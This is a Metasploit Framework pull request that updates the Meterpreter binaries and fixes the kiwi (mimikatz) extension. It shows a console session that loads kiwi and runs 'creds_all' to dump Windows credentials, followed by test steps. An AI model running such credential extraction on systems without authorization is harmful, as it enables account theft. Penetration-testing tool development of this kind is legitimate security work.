rapid7/metasploit-framework — pull request #3676 by OJ (2014-08-20 02:37:06+00:00)
Title: Updated to meterpreter_bins version 0.0.7

This has been a long time coming! Kiwi has been broken for a while and this updated fixes that problem. Details of the binaries build date/commits are in the gemspec in the main `meterpreter_bins` repo.

The key area of success here is the kiwi extension now behaving correctly on patched Windows systems:
```
meterpreter > use kiwi
Loading extension kiwi...

.#####. mimikatz 2.0 alpha (x64/win64) release "Kiwi en C"
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' Ported to Metasploit by OJ Reeves `TheColonial` * * */

success.
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
all credentials
===============

Domain User Password Auth Id LM Hash NTLM Hash
------ ---- -------- ------- ------- ---------
WIN-S45GUQ5KGVK OJ 0 ; 203898
WIN-S45GUQ5KGVK OJ 0 ; 203877
WORKGROUP WIN-S45GUQ5KGVK$ 0 ; 996
WORKGROUP WIN-S45GUQ5KGVK$ 0 ; 999
```

## Verification

- [ ] Run `bundle install` and make sure that the `meterpreter_bins` gem is updated to `0.0.7`.
- [ ] Create a Meterpreter session and make sure that "stuff continues to work". Preferably do this on a patched Windows system with KB2871997 installed so that the next step is easy to verify.
- [ ] Use the `kiwi` extension, run `creds_all`. Watch this work instead of crashing.